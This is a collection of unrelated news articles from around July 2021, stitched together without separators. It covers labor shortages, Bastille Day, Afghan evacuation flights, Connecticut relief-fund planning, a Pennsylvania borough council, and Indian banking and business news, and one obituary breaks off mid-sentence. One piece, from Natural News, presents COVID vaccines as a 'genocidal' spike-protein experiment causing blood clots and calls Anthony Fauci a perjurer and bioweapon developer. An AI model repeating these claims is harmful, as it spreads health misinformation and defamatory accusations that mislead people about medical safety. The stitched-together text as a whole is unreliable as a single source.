Job openings had fallen to as low as 4.6 million last year after the coronavirus pandemic briefly shut down much of the economy. The Job Openings and Labor Turnover Survey (JOLTS) started keeping records in 2000. Federal Reserve policymakers closely watch the JOLTS numbers for indications of labor market slack, though they run a month behind.

Jennifer Lee, an economist at BMO Capital Markets, noted that job openings appear to have leveled off, with total postings jumping more than 10 percent in March and April, but barely rising in May.

Lingering effects of pandemic keep many workers on sidelines

The countrys economy is on the rise, but the labor shortage threatens to rain on the recovery. Companies cant hire enough new workers to keep up with customer demand while their veteran employees are getting pirated by rivals offering higher pay. Some firms have even had to reject new business opportunities.

Companies are turning away business because of the labor shortage and thats a shocking move, said Lee.

There was essentially one open job for every unemployed American in May. That situation is far more typical of an economy with much lower unemployment rate. (Related: Nobody wants to work: Labor shortage holds back restaurant industry as states ease pandemic restrictions.)

But the lingering effects of coronavirus (COVID-19) are keeping many potential workers on the sidelines. Some of those out of work are worried about the risk of getting the disease from large crowds, while many older Americans have retired early. The extra $300 in weekly unemployment aid has also allowed Americans to seek out jobs with higher pay rather than return to previous positions that may have paid little.

Economists predict that millions of people who left the labor force during the pandemic will eventually return to work as schools and daycare centers reopen, coronavirus peters out and extra government unemployment benefits expire in September.

Competition for workers give jobseekers the upper hand

The competition for workers has given jobseekers the upper hand. A record 4 million people quit in April  most of them to take a better or better-paying job. Thats nearly double the number of people quitting a year earlier. There were 5.32 million people who left jobs in May, including 3.6 million people who quit. The others retired, got laid off or were fired.

Many workers are also leaving jobs for better-paying positions at other companies. People are moving from one job to the next, said Anthony Nieves, chairman of a monthly survey of service-oriented companies that asks how business is going. The survey is compiled by the Institute for Supply Management.

More people quit when the economy is doing well or they think they can find a better job. The availability of vaccines paired with a broader reopening of businesses has spurred economic activity in recent months, but consumer demand has largely outpaced businesses ability to hire.

In a race to increase headcount, many businesses have begun raising wages and offering incentives like hiring bonuses to attract applicants. Accommodation and food service job openings increased by 89,000 in May, and by 81,000 in health care. Hiring at restaurants and hotels remained robust. The number of job openings fell in transportation and warehousing, construction and finance.

Job gains picked up in June as employers added 850,000 jobs  the largest monthly increase since August last year. But it would take more than a year at that rate to restore employment to pre-pandemic trends.

Follow Pandemic.news for more news and information related to the coronavirus pandemic.

Sources include:

MarketWatch.com

Bloomberg.com
(Natural News) On a recent episode of CNN State of the Union, Dr. Anthony Fauci started blaming Republican men for refusing to take experimental spike protein injections. The serial perjurer, disgraced bioweapon developer, and coercive vaccine pusher has been extraordinarily arrogant as of recent, calling for local vaccine passports and door-to-door vaccine compliance initiatives that target the unvaccinated and lie about vaccine safety. This new vaccine protocol uses messenger RNA to subvert the natural protein synthesis of the cells to mass-produce lab-generated spike proteins. These spike proteins get in the bloodstream and cause inflammation, autoimmune reactions, and blood clots. Ever since these shots were released under emergency authorization, governments, corporations, medical facilities, banks, and educational institutions have segregated, coerced, bribed, lied to, and intimidated people to comply with this experiment.

Faucis collaboration on gain-of-function coronavirus engineering in China is a serious conflict of interest that should forever strip him of any medical license or title that he is clinging to. When he lied to Congress to cover up his involvement, he should have been indicted. Because Fauci is one of the long-running collaborators who engineered viruses to develop speculative coronavirus vaccines, his medical advice should be considered unethical  part of a coercive, experimental agenda.

Fauci stereotypes Red states as dangerous, implies Republican men are killing millions

On CNN, Fauci stereotyped Republican men for a thing called vaccine hesitancy. This fictional term was created as a negotiation tactic to psychologically coerce people to eventually submit. The term is used to make individuals doubt their own assessment and to make them think they are the paranoid ones who must eventually give in.

During the diatribe, Fauci also implied that these Republican men are the reason why people die. Fauci told the CNN puppets that he was horrified by the Conservative Political Action Conference (CPAC). At CPAC, the crowd cheered for health freedom and personal choice. The crowd was happy that the Biden regime was ineffective at coercing 90 percent of the population to take part in this heart-inflaming, blood clotting, spike protein experiment.

Fauci stereotyped the red states and blamed them for being dangerous and full of bad Republican men. Why are we having red states and places in the South that are very highly ideological in one way, not wanting to get vaccinations? Fauci remarked. Vaccinations have nothing to do with politics, he gaslighted, while stereotyping Republican men and blaming them for killing millions of people around the world.

CNN is currently trying to blame Trump and his supporters for all the death and destruction that was actually initiated by global pandemic planners, virus engineers, propagandists, bioweapon financiers, censors, and vaccine developers like Dr. Anthony Fauci, Dr. Peter Daszak, Ralph Baric, and their comrades at the Wuhan Institute of Virology.

CNN has also published hit pieces that target certain areas of the country, particularly red states in the south. These pockets of antivaxxers are being targeted for their noncompliance. Strike teams are now being deployed door-to-door to lie about the safety of this genocidal experiment. A CNN analyst went public, demanding that the COVID-19 vaccine be mandated, while calling for life to be much harder for unvaccinated Americans.

Its healthy young people (from all political backgrounds) who conquer the virus and say NO to the vaccines

CNN continues to smear MAGA hat-wearing men as uneducated conspiracy theorists who cause people to die; however, it was Donald Trump himself who brought the vaccines to market at warp speed, disregarding serious safety issues that were discovered in the clinical trials. Even after leaving the Whitehouse, Trump has not spoken out against the segregation, discrimination, and abuse that has been used to coerce compliance to this global spike protein experiment.

Ironically, its not just Republican men in red states who are trusting their immune system, going about their normal lives, and saying NO to this communist experiment. In fact, the CDC reports that healthy young people are the real demographic that refuses to line up like lemmings for these damaging spike protein injections. These young healthy people are not from one specific political party; they may vote Republican, Democrat, Libertarian, or Independent.

As more young people (of all walks of life) acquire natural immunity to these coronavirus strains, they are a benefit to their community. CNN and Dr. Fauci should be praising healthy Americans who have conquered the virus and moved on with their life. Medical professionals should act ethical and stand up for every persons right to live free from coercion, segregation, and discrimination. Instead of condemning everyone to local vaccine mandates, vaccine passports, unscientific propaganda, and the ever-increasing rate of vaccine injury and death, medical professionals should celebrate everyone who has conquered the virus and gained immunity, while promoting healthy lifestyle choices and efficacious treatments that can continue this upward trend of immunity.

Sources include:

TheHill.com

NaturalNews.com

NaturalNews.com

BizPacReview.com

NaturalNews.com

NaturalNews.com

EmilyPostNews.com
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PARIS (AP)  Bastille Day is back, sort of.

France celebrated its national holiday Wednesday with thousands of troops marching in a Paris parade, warplanes roaring overhead and traditional parties around the country, after last years events were scaled back because of virus fears.

Two horses stumbled while parading on the Champs-Elysees, tossing their uniformed riders, but overall the days main event went according to plan, and looked a lot like Bastille Days of the past. One soldier even used the occasion to propose to his girlfriend on the cobblestoned avenue, kneeling and kissing her hand.

The virus was never far away, however. A small group of protesters angry over new vaccine rules skirmished with police amid bursts of tear gas in Paris. Meanwhile, worries about resurgent infections prompted some towns to curtail annual fireworks gatherings.

At the Paris parade, the number of onlookers was limited. Each person attending had to show a special pass proving they had been fully vaccinated, had recently recovered from the virus or a had negative virus test. Similar restrictions were in place for those watching an elaborate fireworks show at the Eiffel Tower on Wednesday evening.

Spectators converged on Paris from around France, glad to be able to see the parade in person even if frustrated with the restrictions and long lines for virus security checks.

I came especially for my son who is marching today, said Gaelle Henry from Normandy. Its nice to be able to get out a little bit and finally get some fresh air and think that all the people are here, and that we are getting back to normal a little bit.

Masks were ubiquitous among spectators, and de rigueur for the dignitaries watching the parade under a red-white-and-blue awning emulating the French flag.

The clatter of hundreds of horseshoes accompanied military music as uniformed guards on horseback escorted President Emmanuel Macron. Some cheers rose up from civilian onlookers as Macron rode past restaurants, luxury boutiques and movie theaters that were shuttered for much of the past year and a half.

But not everyone is cheering his handling of the pandemic. Some cafe owners, hospital workers and parents are pushing back against his decision this week to require all French health care workers to get vaccinated, and a special COVID pass for anyone over 12 going to a restaurant.

Many doctors and scientists, meanwhile, are urging tougher measures to contain the virus.

A few hundred protesters chanting Liberty! Liberty! marched through eastern Paris on Wednesday, confronting riot police who fired tear gas to try to disperse the advancing crowd. Protesters and police kicked the tear gas canisters at each other, and cyclists calmly weaved through the crowd.

Organizers of this years parade dubbed it an optimistic Bastille Day aimed at winning the future and celebrating a France standing together behind the tricolor (flag) to emerge from the pandemic. While that optimism was widely felt in France a few weeks ago, clouds have returned to the national mood as the delta variant fuels new infections.

Leading the parade were members of a European force fighting extremists in Mali and the surrounding Sahel region. Macron announced last week that France is pulling at least 2,000 troops from the region because of evolving threats, and focusing more efforts on the multi-national Takuba force instead.

Among others honored at the parade were military medics who have shuttled vaccines to Frances overseas territories, treated virus patients or otherwise helped fight the pandemic.

Mirage and Rafale fighter jets thundered past in formation. In the final moments of the parade, two horses stumbled, throwing their Republican Guard riders onto the pavement. The guards quickly brought the horses under control and led them away. The reason for the fall was unclear.

Just before the ceremony, a soldier identified as Maximilien proposed to his girlfriend in a picturesque moment on the backdrop of the Arc de Triomphe, earning a round of hearty applause.

Macron and his wife Brigitte spoke at length after the ceremony with families of troops killed or wounded in the line of duty. On the eve of the event, Macron reiterated his push for greater defense cooperation among European countries, and greater global defense efforts against Islamic extremists.

This moment of conviviality, of reunion ... is first and foremost for us the opportunity to address our brothers in arms and their families, and give them a message of gratitude, Macron said.

Last years parade was canceled and replaced by a static ceremony honoring health care workers who died fighting COVID-19. France has lost more than 111,000 lives overall to the pandemic.

Bastille Day marks the storming of the Bastille prison in eastern Paris on July 14, 1789, commemorated as the birth of the French Revolution.

___

Patrick Hermansen contributed to this report.
Expanding childcare, a revitalized multi-purpose theater and healthcare were all on the wish list when First Selectman Kevin Moynihan led a discussion in Town Hall about what New Canaan should do with the $6.3 million anticipated from the federal government.

The town is expecting two payments of nearly $3 million over two years as part of the $350 billion targeted for relief for municipalities nationwide, a portion of the $1.9 trillion American Rescue plan.

Nearly 30 people attended the hybrid virtual and in-person discussion that was just the beginning of the process, of making the decisions, according to Administrative Officer Tucker Murphy, who helped moderate the event on Monday, July 12.

Child care

The YMCA would like to be able to expand childcare opportunities, Executive Director of YMCA Margaret Riley said. There is a dearth of childcare options available in New Canaan, Riley explained, though there are plenty of preschools where children attend between 9 a.m. to 12 p.m. or 9 a.m. to 2 p.m. The YMCA offers child care from 7:30 a.m. to 6 p.m.

The YMCA has consistently had long waiting lists for nearly a decade and recently the town has seen influx of young children in our town, Riley said, pointing to proof that more children are attending the centers programs.

The local nonprofit could also use help with installing renewal energy and investing in generators so it could be used as the towns emergency shelter, she said.

I love the Ys idea for childcare, Leo Karl III, President of Karl Chevrolet said.

He has seen employees struggle with the challenge of finding someone to watch their children while they are working, he said.

It is time to work on improving child care, said Murphy, who also chairs the Tourism and Economic Development Advisory Committee. With all the new families that have moved to town, I think there is probably a lot more demand now than we ever imagined, Murphy added.

Mixed-use theater, the arts

A few members of the public spoke in favor of renovating the New Canaan Playhouse at 89 Elm Street for a variety of uses.

We strongly believe that to have a vibrant theater would help foster engagement and good feelings about New Canaan, Patricia Spugani, volunteer for Town Players said. The Town Players perform four main stage productions, most years, in the Powerhouse Theater in Waveny Park.

Spugani hopes for funds for the organization as well, since the Town Players were not able to obtain grant money since they are an entirely volunteer organization.

A movie theater could be an additional cultural hub, by offering author talks, movies and drawing people from outside communities, Executive Director of the Chamber of Commerce Laura Budd said, who helped moderate the discussion.

Some of our very best audience members are the seniors, Kathleen Davidson who is also a volunteer for the Town Players volunteer said.

A revitalized theater could help all of the businesses downtown and the community, Murphy said.

Budd said that its potential to bring good to the community and its businesses is the reason the town purchased the theater.

Moynihan said the town has been renovating the theater and hopes it will be back in business by the first quarter of next year.

A stage for performances in parks and other places around town was on the wish list for the director of the New England Academy Dance Ted Thomas. The academy borrowed a portable stage from the school district around graduation time so dance students could perform outside. He liked the outcome and felt regular outdoor performances could be a wonderful asset for the town.

We dont have a lot of events in town that bring people together, he said, so he would like to see dancing, drama, and music performed in the parks and around town.

It is time to talk about revitalization of the arts in town, Chief Executive Officer of Silvermine Arts Center Barbara Linarducci said. The center is approaching its centennial and is facing challenges since it was shuttered for three months and now the staff are trying to keep our nose above water.

Health care

Health care was on the mind of President of Waveny LifeCare Network Russ Barksdale.

The town should invest in helping with dementia, psychiatry, behavioral health, seniors, people who are isolated and children who may need help and support, said Barksdale, who is also a commissioner on the Health and Human Services Commission.

He said he wants to address health care needs in a very proactive way.

He does not want to stand alone but rather hopes to forge a private and community sponsorship to collaborate setting up a 1-800 number and augment health care by using technology such as tele-health and tele-medicine. Barksdale particularly would like to partner with Silverhill Hospital to come together to improve the health of our community.

Business to business

Businessman Dan Mulhern said he would like to help retail businesses and restaurants since they are the vitality of our town, Mulhern said. That is why people walk through this town and say, I love this community, because it is how it feels, it is the energy of how the community comes together.

There is so much opportunity, Mulhern continued, saying that entrepreneurs are having to concentrate on the day-to-day operations of their businesses. He said he wants to sit down with a couple of key players and find out what they need.

Murphy said that she was disappointed that merchants did not attend the discussion, since it was partially targeting them. This just seems like a once in a lifetime opportunity to suggest some initiatives, programs or projects that might not ever see the light of day in a pre-COVID world, she said.

Budd said she would like to help the village businesses by investing in more parking, since the linchpin in everything is employee parking.
New Canaan Chamber of Commerce / Contributed photo

The New Canaan Chamber of Commerce will be hosting its annual Village Fair and Sidewalk Sale on Friday, July 16 and Saturday July 17, according to an emailed newsletter from the Chamber, and an attached link to information on the Chambers website for the event.

The event will offer the opportunity for local merchants to share their products, businesses and various bargains with local shoppers.
WASHINGTON (AP)  The Biden administration said Wednesday that it is prepared to begin evacuation flights for Afghan interpreters and translators who aided the U.S. military effort in the nearly 20-year war  but their destinations are still unknown and there are lingering questions about how to ensure their safety until they can get on planes.

The Operation Allies Refuge flights out of Afghanistan during the last week of July will be available first for special immigrant visa applicants already in the process of applying for U.S. residency, according to the White House.

White House press secretary Jen Psaki declined to detail how many Afghans are expected to be among those evacuated in the first flights or where those evacuated will be taken, citing security concerns.

The reason that we are taking these steps is because these are courageous individuals, Psaki said. We want to make sure we recognize and value the role theyve played over the last several years.

Confirmation on the timeline of the evacuation flights came as President Joe Biden met Wednesday with Gen. Austin Scott Miller, who earlier this week stepped down as the top U.S. commander in Afghanistan. Psaki said Biden wanted to personally thank Miller for conducting an orderly and safe drawdown of U.S. troops.

Miller, who oversaw the war effort for nearly three years, expressed dire concern in his final days as commander about the rapid loss of districts around the country to the Taliban, telling reporters that  a civil war is certainly a path that can be visualized if this continues on the trajectory its on right now. Defense Secretary Lloyd Austin, who met separately with Miller at the Pentagon, praised the general for planning a complex withdrawal of millions of tons of equipment and thousands of personnel that thus far been conducted without a single casualty."

Biden has faced pressure from lawmakers on both parties to come up with a plan to help evacuate Afghan military helpers before next month's U.S. troop withdrawal. The White House began briefing lawmakers on the outlines of their plans last month.

The evacuation planning could potentially affect tens of thousands of Afghans. Several thousand Afghans who worked for the United States  plus their family members  are already in the application pipeline for special immigrant visas.

The Biden administration has also been working on identifying a third country or U.S. territory that could host Afghans while their visa applications are processed.

Krish OMara Vignarajah, president and CEO of Lutheran Immigration and Refugee Service, said that much about the Biden evacuation plan remains unknown, including how the administration will help those in areas outside the capital of Kabul evacuate. The Taliban have made rapid gains in taking over huge swaths of the country, particularly in more rural areas.

Unfortunately, there are still far too many questions left unanswered, including who exactly and how many people are eligible for evacuation. ... How will those outside the capital access safety? said Vignarajah, whose group has helped resettle thousands of Afghans in the U.S. And to what countries will they be evacuated? We have serious concerns about the protection of our allies human rights in countries that have been rumored as potential partners in this effort.

The administration is weighing using State Department-chartered commercial aircraft, not military aircraft, according to an administration official, who was not authorized to publicly discuss internal deliberations and spoke on condition of anonymity.

But if the State Department requests military aircraft, the U.S. military would be ready to assist, the official said. The Pentagon said as of Wednesday no requests for such assistance have been made by State.

Tracey Jacobson, a three-time chief of mission in Tajikistan, Turkmenistan and Kosovo, is leading the State Department coordination unit charged with overseeing Operation Allies Refuge. That unit also includes representatives from the departments of Defense and Homeland Security.

Russ Travers, deputy homeland security adviser and former head of the National Counterterrorism Center, is coordinating the interagency policy process for the evacuation, officials said.

Separately, the White House announced that Elizabeth Sherwood-Randall, the White House homeland security adviser, would lead a U.S. delegation to a security conference in Uzbekistan this week to discuss Afghanistans security issues with leaders from Central Asia.

The Biden administration is considering a number of locations, including military installations both abroad and in the continental United States, to temporarily house Afghans while their visa applications are considered.

Pentagon Press Secretary John Kirby said Wednesday the Pentagon has identified an unspecified number of overseas locations as potential candidates, but no final decisions have been made.

The U.S. Embassy in Kabul issued 299 special immigrant visas in March, 356 in April and 619 in May, according to the State Department. Biden said last week that the federal government has approved 2,500 special immigrant visas to come to the U.S. since his January inauguration.

An estimated 18,000 Afghans have worked for the U.S. as interpreters, drivers and other positions have applied for visas and await their applications being processed. Psaki reiterated that the White House is working with Congress on legislation to streamline the application process.

Biden announced last week that the U.S. military operation in Afghanistan will end on Aug. 31.

The firming of the date to end the war comes after President Donald Trumps administration negotiated a deal with the Taliban to end the U.S. military mission by May 1, 2021. Biden, after taking office, announced that U.S. troops would be out by the 20th anniversary of the attacks of Sept. 11, 2001. The attacks were plotted by al-Qaida leader Osama bin Laden from Afghanistan, where he had been given refuge by the Taliban.

George W. Bush, who as president launched the war, criticized the Western withdrawal in an interview with a German broadcaster released Wednesday, saying he fears for Afghan women and girls as the Taliban regains control of much of the country.

Its unbelievable how that society changed from the brutality of the Taliban, and all of a sudden  sadly  Im afraid Afghan women and girls are going to suffer unspeakable harm, Bush said.

___

Associated Press writers Roberts Burns and Matthew Lee contributed to this report.
Volant council to meet July 27 Volant's borough council has rescheduled its July monthly meeting for later this month.

UPDATE: Volant's borough council will meet at 6:30 p.m. July 27.

Volants borough government continues to publicly run on autopilot despite decisions being made in the three months since it last held a public meeting.

The boroughs monthly meeting, scheduled for Tuesday night, was canceled the night before due to an expected lack of quorum. A sign posted in the window of the borough municipal building read Due to a lack of quorum, the Volant council meeting on July 13, 2021 has been canceled. Sorry for any inconvenience. The note is signed by Volant Borough Secretary. Carmen Ortiz Brown is the boroughs secretary and lone employee.

The boroughs government hasnt met since April 22. The May and June meetings were canceled over a lack of quorum when only two councilmen showed both times.

Despite this, councilwoman Deb Lakin indicated in an email to a merchant that council had agreed upon a one-time waived permit fee for a request to place removable toilets on borough property next to the closed public restroom. Council created an ordinance banning portable toilets earlier this year.

The portable toilets will be located near the public restroom building. A group of merchants are suing the borough after it failed to hold up its end of an agreement of that restrooms upkeep in return for a yearly tax paid by merchants. Merchants have paid about $15,000 since 2014 while the restroom has remained closed.

Story continues below video

Further, no public discussion was ever made about the issue since the council has not met in three months. Borough officials current stance is that the restroom now cant be open because it is the subject of a lawsuit between a group of merchants against the borough.

Just hours before its April 22 meeting, detectives from the Lawrence County district attorneys office served a sealed search warrant on the borough building and were seen removing boxes.

County law enforcement was called twice to the borough over a dispute between people handing out information outside a polling location during the May 18 primary election. In that election, three residents gained enough write-in votes to appear on the November ballot for council, while one candidate will appear in the mayors race. Incumbent Mayor Ingrid Both-Hoesl and Councilman Donald Little both blamed the borough for not letting them know their terms were ending this year.

Two other councilmen, vice president Tony Bevilacqua and Howard Moss, will see terms end this year despite the Lawrence County elections office having no records of their appointments to council.

Attempts to reach council president Robert McGary and borough solicitor John J. DeCaro Jr. were unsuccessful and messages were left for both.

psirianni@ncnewsonline.com
Dr. Richard F. Zarilla, Ph.D., 84, of Douglassville, Amity Township, Pennsylvania, passed away on Thursday, July 15, 2021, at The Keystone Villa at Douglassville. Born in New Castle, Pennsylvania, he was the son of the late Alfred and Cecilia (Saletra) Zarilla. Richard was a lifelong learner
Courtesy photoKate Bartlett, left, a member of the Massachusetts Developmental Disabilities Council, told the Higher Education Committee about the crucial career skills she learned at Middlesex Community College and pressed for the same opportunities to be afforded to other people with intellectual disabilities.
By Express News Service

NEW DELHI: The much-awaited bad bank  National Asset Reconstruction Company (NARCL)  which has been incorporated with the Ministry of Corporate Affairs will see a cumulative equity capital infusion of Rs 6,000 crore from at least 15 lenders, both public and private. The new bad bank is likely to be operational later this year with all the necessary regulatory approvals in place.

Now that NARCL has been incorporated, we will now file an application with the Reserve Bank seeking an ARC licence. Also, the proposal is before the Cabinet and its nod is expected to come later this month or early next. Total capital requirement for the bank is not expected to exceed Rs 6,000 crore and at least 15 banks are keen to infuse funds, said a person aware of the matter.

While NARCL has been incorporated as of July 7, 2021, the India Debt Management Company Limited (IDMCL) which will manage these bad loans is yet to become a legal entity. According to filings with the Registrar of Companies (RoC), the bad bank will be headed by Padmakumar Madhavan Nair, a stressed assets expert from State Bank of India (SBI), as the managing director.

The other directors will include Indian Banks Association (IBA) chief executive Sunil Mehta, SBI deputy managing director Salee Sukumaran Nair and Canara Banks representative Ajit Krishnan Nair. The existing regulations mandate an ARC to have at least one sponsor.

Sources say public sector banks, led by Canara Bank, together are expected to pick up a 51% stake in the bad bank. Earlier in an exchange filing, the state-owned Canara Bank had said its board had given in-principle approval to be the lead sponsor of the bad bank, with a 12% stake in the entity.

On the other hand, private peers such as ICICI Bank, HDFC Bank, Axis Bank as well as IDBI Bank may hold a significant stake in IDMCL, subject to board approvals. Lenders have so far reviewed 101 non-performing assets (NPAs) in the first phase and plan to transfer 22 accounts amounting to Rs 89,000 crore to the bad bank.
By Express News Service

NEW DELHI: In a nationwide crackdown against tax evasion, GST officials booked 8,000 cases in ITC frauds worth Rs 35,000 crore during FY21, which helped it to improve GST collection. During the financial year, 2020-21 the CGST zones and the Directorate General of GST Intelligence (DGGI) have booked about 8,000 cases involving fake ITC of over Rs 35,000 crore.

During the financial year, 426 persons including 14 professionals such as CAs, lawyers and masterminds, beneficiaries, directors etc were arrested, the Revenue department said in a statement. The ministry had launched a nationwide special drive against fake GST invoice scams on November 9, 2020, and is still ongoing. The ministry noted that the drive against fraudulent GST invoices slowed down over the past two three months due to the Covid-19 pandemic and subsequent lockdowns and restrictions.

However, it has once again picked up pace with gradual lifting of lockdown and improved Covid-19 situation in different parts of the country, and the department has resumed efforts in coordinated action at national level.

In this nationwide drive against unscrupulous entities, Directorate General of GST Intelligence and CGST zones under CBIC have during the current financial year detected more than 500 cases involving 1,200 entities and arresting 24 persons. The number of arrests made by officers of CBIC is one of the highest in recent times, it said.

The ministry informed that CBIC officers are employing latest IT tools and digital evidence, as well as collecting information from other government departments to catch the fraudsters. It also warned that the crackdown will be intensified in the coming week.
By Express News Service

HYDERABAD: After contracting steadily for months, Indias exports to Singapore are back in black.

In April, exports grew 24%, while imports shot up by a staggering 269%, led primarily by medical equipment and healthcare supplies. Simon Wong, High Commissioner of the Republic of Singapore to India, believes the trade imbalances will further get corrected as the economic recovery picks up pace.

According to Wong, the pandemic-induced lockdowns have hit Indias exports, while the second wave forced the country to import heavily. We have seen fewer exports, maybe because of the lockdowns...Two, imports have gone up in several areas, primarily led by health-related supplies, he told The New Indian Express.

Major among the imports were raw materials for vaccines. With the US imposing a ban on specific raw materials to India, that need was partly filled in by Singapore. Besides, the tariff corrections on gold fuelled gold imports from Singapore. In all, Indias exports to Singapore contracted by 2.7% in FY21, while overall exports contracted by nearly 3%.

Foreign investments from Singapore continue to rise. Last financial year, island nation was the largest foreign investor pumping in about $17-18 billion, or about 29% of Indias total FDI. Its nearly a third of total FDI in India. If you look at last financial year, investments continued even during the first wave, he said. Focus areas for future investments, Wong explained, will include data centres, real estate, fintech, startups and emerging areas like life sciences and agritech.

When global demand, which is currently in a slump, revives, Wong believes investments and trade will bounce to their natural rate of growth. Last year, hit by Covid-19, Singapores overall trade like other economies contracted by 5.5%. It now hopes to grow anywhere between 4 and 6%. Aided by the lower base, we may register a 3-4% growth in FY22, and we will be out of the woods, Wong explained.

Meanwhile, Indias first-ever bilateral pact (with any country) signed with Singapore in 2005, received criticim in Singapore over concerns on Indians stealing jobs and livelihoods. The Comprehensive Economic Cooperation Agreement (CECA) allows lower tariffs making goods and services from Singapore competitive in the Indian market. The Singapore government shot down the criticism giving a detailed reply in the Parliament about how bilateral trade grew by 80% from S$20 bn when CECA came into force in 2005 to S$38 bn in 2019.
Bismah Malik By

Express News Service

BENGALURU: IT services major Infosys CEO Salil Parekh said that the company has augmented its technology team, project management, and increased bandwidths to fix the technical glitches on the income tax portal which had irked the Union Finance Minister Nirmala Sitharaman after the income tax payers flagged the issue on social media networks.

In rupee terms revenue grew by 6.0% q-o-q to Rs 27,896 crore while gross profits grew by 2.7% q-o-q to Rs 9,390 crore. Net profit for the quarter grew by 2.3% to Rs 5,195 crore. Infosys also maintained its deal momentum as the company reported deal wins of $ 2.6bn as compared to $ 2.1bn in Q4FY21.

Infosys non-executive chairman Nandan Nilekani had assured the finance minister that the company is working to address the user concerns. Bengaluru-headquartered firm has been caught at the wrong foot for poor handling of government projects in the past, which had invited criticism from union ministers as well as top officials.

Infosys Chief Operating Officer Pravin Rao said during the quarterly results media briefing that the IT portal witnesses huge traffic on a daily basis with 8-10 lakh users. About 10 lakh IT returns have been filed through the portal so far, and on Tuesday, one lakh filings were made. In addition, lakhs of users have been able to link their Aadhar and other know-your-customer details (KYC) with their ITR and other filings, Rao said.

He added that the company has made some progress and will further roll out more functionalities and increase the bandwidth for seamless user experience. This comes on the heels of a recent meeting between the finance ministry officials and Infosys executives over the IT portal concerns.

Meanwhile, the company is planning to hire 25,000 fresh college graduates over the next few quarters and has made a net addition of 8,000 employees during the June quarter. However, rising attrition rate continued to pose a challenge especially on the supply crunch front for big projects. The attrition rate (LTM) stood at 13.9%, higher than the last quarter. Rao said that the company is focused on investments in employee engagement, retention programmes and has so far announced two cycles of wage hikes.

Infosys Q1 performance

Revenue up by 6 per cent QoQ at Rs 27,896 crore

Net profit grew by 2.3 QoQ at Rs 5,195 crore

Revised growth guidance- 14-16 per cent in constant currency terms
By PTI

MUMBAI: The Reserve Bank on Wednesday came out with draft guidelines allowing primary urban cooperative banks (UCBs) to augment capital through issuance of equity shares, preference shares and debt instruments.

The UCBs, it said, could raise share capital by issue of equity to persons within their area of operation enrolled as members and also through additional equity shares to the existing members.

The UCBs, as per the draft, will be permitted to raise Tier-I and Tier-II capital by issuing Perpetual Non-Cumulative Preference Shares (PNCPS), Perpetual Cumulative Preference Shares (PCPS), Redeemable Non-Cumulative Preference Shares (RNCPS) and Redeemable Cumulative Preference Shares (RCPS).

The UCBs will also be allowed to issue Perpetual Debt Instruments (PDI) which will be eligible to be included in Tier-I capital and Long Term Subordinated Bonds(LTSB) as Tier-II capital.

The Banking Regulation (Amendment) Act, 2020 came into force with effect from June 29, 2020 for Primary (Urban) Co-operative Banks (UCBs).

In view of the changes mandated by the amendments, the Reserve Bank of India has released the draft circular on 'Issue and regulation of share capital and securities - Primary (Urban) Co-operative Banks'.

It has invited comments on the draft from UCBs, sector participants and other interested parties by August 31, 2021.
By PTI

NEW DELHI: Tata Motors on Wednesday said it has launched a new brand exclusively for the fleet customers.

Under the 'XPRES' brand, the auto major would introduce offerings, catering to fleet specific needs of safety, passenger comfort and low cost of ownership.

All vehicles for the fleet segment will sport XPRES badge, clearly differentiating them from the models that cater to the requirements of the personal segment.

The auto major noted that the first vehicle under the XPRES brand to be launched shortly, will be an electric sedan, called the 'XPRES-T'.

Targeted at mobility services, corporate and government fleet customers, the XPRES-T EV will come with an optimal battery size, captive fast charging solution, which will ensure low cost of ownership in addition to safety and passenger comfort, making it a comprehensive and attractive proposition for fleet owners and operators, it added.

"We are delighted to launch the Xpres brand which will introduce smarter, future-ready mobility solutions to cater the special needs of all fleet customers  government, corporates, and mobility services," Tata Motors President (Passenger Vehicle Business Unit) Shailesh Chandra said in a statement.

Electric vehicles deliver very low cost of ownership, with minimal maintenance, at the same time offer a very comfortable and pleasant drive and this makes them an ideal choice for intra-city mobility services, he added.

Chandra noted that Tata Motors remains deeply committed to supporting the government's emphasis on green mobility.

"Currently, we have over 1,700 electric sedans successfully operating in the fleet segment. The launch of our forthcoming 'XPRES-T' EV sedan, will create a new benchmark for urban shared mobility and will include a comprehensive captive charging solution provided by our partner, Tata Power. This will enable higher utilisation and increased income for our fleet customers," he added.

The company said that the all-new XPRES-T electric sedan will be soon available at select dealerships in the country for bookings.

It comes with two range options - 213km and 165km (ARAI certified range under test conditions).

Tata Motors is a USD 35 billion organisation. It is a leading manufacturer of cars, utility vehicles, pick-ups, trucks and buses.

Part of the USD 113 billion Tata group, the auto major has operations in India, the UK, South Korea, Thailand, South Africa, and Indonesia through a strong global network of 103 subsidiaries, ten associate companies, three joint ventures and two joint operations as on March 31, 2020.
By Express News Service

BENGALURU: The 14th of July is a significant day in the French calendar. On this day in France and its overseas department, Bastille Day or the French National Day or Storming of Bastille Day, is commemorated to symbolically mark the end of monarchy in the country. In French history, the day signifies the storming of the Bastille on July 14, 1789, following the historic French Revolution, and the beginning of a republic. Like in other parts of the country, the French community settled in Bengaluru is gearing up to come together virtually or in some cases even in-person, to mark the occasion.

The French National Day is a very special celebration for the Consulate General of France in Bengaluru with them completing 10 years in the city and covering a jurisdiction of three southern states of Karnataka, Telangana and Andhra Pradesh. Owing to the COVID-19 pandemic, the Consulate General of France has decided to mark the occasion virtually with a traditional reception which will bring together friends of Indian, French and other nationalities and showcase all facets of friendship such as, fine arts, music and cinema, business and investments, environment, education, gastronomy, politics, space and science.

Our collective resilience to the pandemic, which made our consular representation the only one to remain open and operational throughout the crisis, gives me great pride. I am very impressed with the contribution to our solidarity program by our French firms, which is definitely not new as they have been involved, since long, through the medium of their corporate social responsibility initiatives,  says Consul General, Dr Marjorie Vanbaelinghem. Nicolas Grossemy, the cofounder of Paris Panini, a French street food joint in Indiranagar, recollects the prepandemic celebrations.

The French consulate, with their arrangements of cheese and wine, would make us feel at home. Once a year, the French community of Bengaluru would come together, remember how our nation got our rights and celebrate our history. It was a very exciting day, he said. But now, with everything being done virtually or with following Covid protocol, Grossemy longs for the times gone by.

The idea of Bastille Day is celebrating together. I hope and pray that things get better and hopefully, next year, we will get to celebrate Bastille Day, the way it is supposed to be celebrated, he adds. Wednesday morning will see the members of Alliance Francaise de Bangalore coming together. Joined by guitarist Prakash Sontakke, the inperson event will be attended by French students, teachers and other members, who will also indulge in some French cuisine-- croissants, pastries, and cookies.

The day brought unity among us. We believe in the unity and diversity of our land. I would like to invoke the same feelings to say, irrespective of the differences between all of us, let us stay together to respect each other, celebrate life and uphold humanity, says Zafer Mohiuddin, president of the institute. Grand Mercure Bengaluru at Gopalan Mall has curated a special hamper(in pic) to celebrate the much-awaited Bastille Day.

